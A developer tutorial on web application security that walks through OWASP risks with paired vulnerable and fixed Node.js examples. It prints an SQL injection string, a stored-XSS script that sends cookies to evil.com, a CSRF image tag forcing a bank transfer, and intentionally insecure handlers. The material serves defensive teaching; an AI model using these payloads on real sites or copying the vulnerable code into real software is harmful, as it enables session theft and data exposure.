Web Security Essentials Every Developer Must Know

Protect your web applications from common vulnerabilities. Learn about XSS, CSRF, SQL injection, authentication, and security best practices with code examples.

Backend & Data: Web Security Essentials Every Developer Must Know

Security is Not Optional

Every web application is a potential target. Security breaches cost companies millions in damages, lost trust, and legal consequences. As developers, security is our responsibility from day one.

Common impacts of security breaches:

  • Data theft (user information, credit cards)
  • Service disruption
  • Reputation damage
  • Legal liability
  • Financial losses

OWASP Top 10: The Critical Vulnerabilities

The OWASP Top 10 lists the most critical web application security risks. We’ll cover the most common ones with practical examples.

1. SQL Injection

The Vulnerability

// ❌ VULNERABLE: User input directly in SQL
app.get('/users', (req, res) => {
  const { email } = req.query;
  const query = `SELECT * FROM users WHERE email = '${email}'`;
  db.query(query, (err, result) => {
    res.json(result);
  });
});

// Attack: /users?email=' OR '1'='1
// Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns ALL users!

The Fix: Parameterized Queries

// ✅ SAFE: Parameterized query
app.get('/users', async (req, res) => {
  const { email } = req.query;
  
  // PostgreSQL
  const result = await pool.query(
    'SELECT * FROM users WHERE email = $1',
    [email]
  );
  
  // MySQL
  const [rows] = await pool.query(
    'SELECT * FROM users WHERE email = ?',
    [email]
  );
  
  res.json(result.rows || rows);
});

ORM Protection

// Sequelize (automatically parameterizes)
const user = await User.findOne({
  where: { email: req.query.email }
});

// Prisma (type-safe, SQL injection impossible)
const user = await prisma.user.findUnique({
  where: { email: req.query.email }
});

Key takeaway: Never concatenate user input into SQL queries.

2. Cross-Site Scripting (XSS)

Stored XSS

// ❌ VULNERABLE: Renders user content as HTML
app.get('/posts/:id', async (req, res) => {
  const post = await getPost(req.params.id);
  res.send(`
    <h1>${post.title}</h1>
    <div>${post.content}</div>
  `);
});

// Attacker posts:
// <script>fetch('https://evil.com?cookie='+document.cookie)</script>
// Now steals every visitor's cookies!

The Fix: Escape Output

// ✅ SAFE: Escape HTML entities
const escapeHtml = (text) => {
  return text
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
};

app.get('/posts/:id', async (req, res) => {
  const post = await getPost(req.params.id);
  res.send(`
    <h1>${escapeHtml(post.title)}</h1>
    <div>${escapeHtml(post.content)}</div>
  `);
});

React Protection (Built-in)

// ✅ React automatically escapes
function Post({ post }) {
  return (
    <div>
      <h1>{post.title}</h1>
      <div>{post.content}</div>
    </div>
  );
}

// ⚠️ DANGEROUS: Only if you really need raw HTML
function Post({ post }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: sanitize(post.content) }} />
  );
}

Sanitize HTML

import DOMPurify from 'isomorphic-dompurify';

// ✅ Sanitize untrusted HTML
const clean = DOMPurify.sanitize(dirtyHtml);

// Only allow specific tags
const clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});

Content Security Policy (CSP)

// Add CSP header
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; " +
    "script-src 'self' 'unsafe-inline' https://trusted-cdn.com; " +
    "style-src 'self' 'unsafe-inline'; " +
    "img-src 'self' data: https:;"
  );
  next();
});

3. Cross-Site Request Forgery (CSRF)

The Attack

<!-- Attacker's malicious website -->
<img src="https://yourbank.com/transfer?to=attacker&amount=1000" />
<!-- If user is logged into yourbank.com, this executes! -->

The Fix: CSRF Tokens

import csrf from 'csurf';

const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // Token validated automatically
  // Process transfer
});

Frontend

<form method="POST" action="/transfer">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>" />
  <input name="amount" />
  <button type="submit">Transfer</button>
</form>
// AJAX requests
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'CSRF-Token': csrfToken,
  },
  body: JSON.stringify({ amount: 100 }),
});

SameSite Cookies

// Modern CSRF protection
res.cookie('sessionId', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict', // or 'lax'
});

4. Authentication & Authorization

Password Storage

import bcrypt from 'bcrypt';

// ❌ NEVER store plain passwords
await db.query('INSERT INTO users (email, password) VALUES ($1, $2)', 
  [email, password]);

// ❌ NEVER use weak hashing
const hash = crypto.createHash('md5').update(password).digest('hex');

// ✅ Use bcrypt
const saltRounds = 12;
const hash = await bcrypt.hash(password, saltRounds);
await db.query('INSERT INTO users (email, password_hash) VALUES ($1, $2)',
  [email, hash]);

// Verify
const user = await getUserByEmail(email);
const match = await bcrypt.compare(password, user.password_hash);

JWT Best Practices

import jwt from 'jsonwebtoken';

// ✅ Sign tokens
const token = jwt.sign(
  { userId: user.id, email: user.email },
  process.env.JWT_SECRET,
  { expiresIn: '15m' } // Short-lived!
);

// ✅ Verify tokens
const authMiddleware = (req, res, next) => {
  const token = req.headers.authorization?.split(' ')[1];
  
  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }
  
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded;
    next();
  } catch (err) {
    return res.status(401).json({ error: 'Invalid token' });
  }
};

// Use middleware
app.get('/protected', authMiddleware, (req, res) => {
  res.json({ user: req.user });
});

Refresh Tokens

// Issue both access and refresh tokens
function generateTokens(user) {
  const accessToken = jwt.sign(
    { userId: user.id },
    process.env.JWT_SECRET,
    { expiresIn: '15m' }
  );
  
  const refreshToken = jwt.sign(
    { userId: user.id, type: 'refresh' },
    process.env.REFRESH_SECRET,
    { expiresIn: '7d' }
  );
  
  return { accessToken, refreshToken };
}

// Refresh endpoint
app.post('/refresh', async (req, res) => {
  const { refreshToken } = req.body;
  
  try {
    const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
    
    if (decoded.type !== 'refresh') {
      throw new Error('Invalid token type');
    }
    
    // Verify refresh token hasn't been revoked
    const valid = await isRefreshTokenValid(decoded.userId, refreshToken);
    if (!valid) {
      throw new Error('Token revoked');
    }
    
    const user = await getUserById(decoded.userId);
    const { accessToken } = generateTokens(user);
    
    res.json({ accessToken });
  } catch (err) {
    res.status(401).json({ error: 'Invalid refresh token' });
  }
});

Session Security

import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';

const redisClient = createClient();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,        // HTTPS only
    httpOnly: true,      // No JavaScript access
    maxAge: 3600000,     // 1 hour
    sameSite: 'strict',  // CSRF protection
  },
}));

5. Rate Limiting

Prevent Brute Force

import rateLimit from 'express-rate-limit';

// Global rate limit
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100, // 100 requests per window
  message: 'Too many requests, please try again later.',
});

app.use(limiter);

// Login endpoint (stricter)
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5, // 5 login attempts per 15 minutes
  skipSuccessfulRequests: true,
});

app.post('/login', loginLimiter, async (req, res) => {
  // Login logic
});

Rate Limiting by User

import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';
import { createClient } from 'redis';

const redisClient = createClient();

const apiLimiter = rateLimit({
  store: new RedisStore({
    client: redisClient,
  }),
  windowMs: 60 * 1000, // 1 minute
  max: 60, // 60 requests per minute
  keyGenerator: (req) => req.user?.id || req.ip,
});

app.use('/api/', authMiddleware, apiLimiter);

6. Input Validation

Never Trust User Input

import { z } from 'zod';

// Define schema
const userSchema = z.object({
  email: z.string().email(),
  username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
  age: z.number().int().min(13).max(120),
  website: z.string().url().optional(),
});

// Validate
app.post('/users', async (req, res) => {
  try {
    const data = userSchema.parse(req.body);
    // data is now validated and typed
    const user = await createUser(data);
    res.json(user);
  } catch (err) {
    if (err instanceof z.ZodError) {
      return res.status(400).json({ errors: err.errors });
    }
    throw err;
  }
});

Sanitize File Uploads

import multer from 'multer';
import path from 'path';

const upload = multer({
  storage: multer.diskStorage({
    destination: './uploads/',
    filename: (req, file, cb) => {
      // Generate safe filename
      const uniqueSuffix = Date.now() + '-' + Math.round(Math.random() * 1E9);
      cb(null, uniqueSuffix + path.extname(file.originalname));
    },
  }),
  limits: {
    fileSize: 5 * 1024 * 1024, // 5MB max
  },
  fileFilter: (req, file, cb) => {
    // Whitelist file types
    const allowedTypes = /jpeg|jpg|png|gif|pdf/;
    const extname = allowedTypes.test(path.extname(file.originalname).toLowerCase());
    const mimetype = allowedTypes.test(file.mimetype);
    
    if (extname && mimetype) {
      cb(null, true);
    } else {
      cb(new Error('Invalid file type'));
    }
  },
});

app.post('/upload', upload.single('file'), (req, res) => {
  res.json({ filename: req.file.filename });
});

7. HTTPS Everywhere

// Force HTTPS
app.use((req, res, next) => {
  if (req.header('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') {
    return res.redirect(`https://${req.header('host')}${req.url}`);
  }
  next();
});

// Helmet.js for security headers
import helmet from 'helmet';

app.use(helmet());

// Or configure manually
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      scriptSrc: ["'self'"],
      imgSrc: ["'self'", "data:", "https:"],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
}));

8. Dependency Security

Audit Dependencies

# npm
npm audit
npm audit fix

# Yarn
yarn audit

# Check specific package
npm view express versions

Automated Scanning

# .github/workflows/security.yml
name: Security Scan

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - run: npm audit --audit-level=high
      - uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

Keep Dependencies Updated

# Check outdated
npm outdated

# Update
npm update

# Or use Dependabot (GitHub)
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"

9. API Security

API Keys

// Validate API key
const apiKeyMiddleware = async (req, res, next) => {
  const apiKey = req.headers['x-api-key'];
  
  if (!apiKey) {
    return res.status(401).json({ error: 'API key required' });
  }
  
  const valid = await validateApiKey(apiKey);
  if (!valid) {
    return res.status(401).json({ error: 'Invalid API key' });
  }
  
  next();
};

app.use('/api', apiKeyMiddleware);

CORS Configuration

import cors from 'cors';

// ❌ Dangerous: Allow all origins
app.use(cors());

// ✅ Specific origins only
app.use(cors({
  origin: [
    'https://yourdomain.com',
    'https://app.yourdomain.com',
  ],
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
}));

// ✅ Dynamic origin validation
app.use(cors({
  origin: (origin, callback) => {
    const allowedOrigins = process.env.ALLOWED_ORIGINS?.split(',') || [];
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
}));

10. Logging & Monitoring

Security Event Logging

import winston from 'winston';

const logger = winston.createLogger({
  level: 'info',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'error.log', level: 'error' }),
    new winston.transports.File({ filename: 'security.log', level: 'warn' }),
  ],
});

// Log security events
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await getUserByEmail(email);
  
  if (!user) {
    logger.warn('Login attempt with non-existent email', { email, ip: req.ip });
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  const valid = await bcrypt.compare(password, user.password_hash);
  
  if (!valid) {
    logger.warn('Failed login attempt', { email, ip: req.ip });
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  logger.info('Successful login', { userId: user.id, ip: req.ip });
  // Issue token
});

Monitor Suspicious Activity

// Track failed login attempts
const failedAttempts = new Map();

app.post('/login', async (req, res) => {
  const { email } = req.body;
  const attempts = failedAttempts.get(email) || 0;
  
  if (attempts >= 5) {
    logger.error('Account locked due to too many failed attempts', { email });
    // Send alert
    await sendSecurityAlert({ type: 'account_locked', email });
    return res.status(429).json({ error: 'Account temporarily locked' });
  }
  
  // ... login logic
  
  if (!valid) {
    failedAttempts.set(email, attempts + 1);
    setTimeout(() => failedAttempts.delete(email), 15 * 60 * 1000); // Reset after 15min
  } else {
    failedAttempts.delete(email);
  }
});

Security Checklist

  • Use HTTPS everywhere
  • Validate and sanitize all user input
  • Use parameterized queries (no SQL injection)
  • Escape output (no XSS)
  • Implement CSRF protection
  • Hash passwords with bcrypt/argon2
  • Use secure session management
  • Implement rate limiting
  • Add security headers (Helmet.js)
  • Keep dependencies updated
  • Use environment variables for secrets
  • Implement proper error handling (don’t leak info)
  • Log security events
  • Regular security audits
  • Principle of least privilege
  • Regular backups

Resources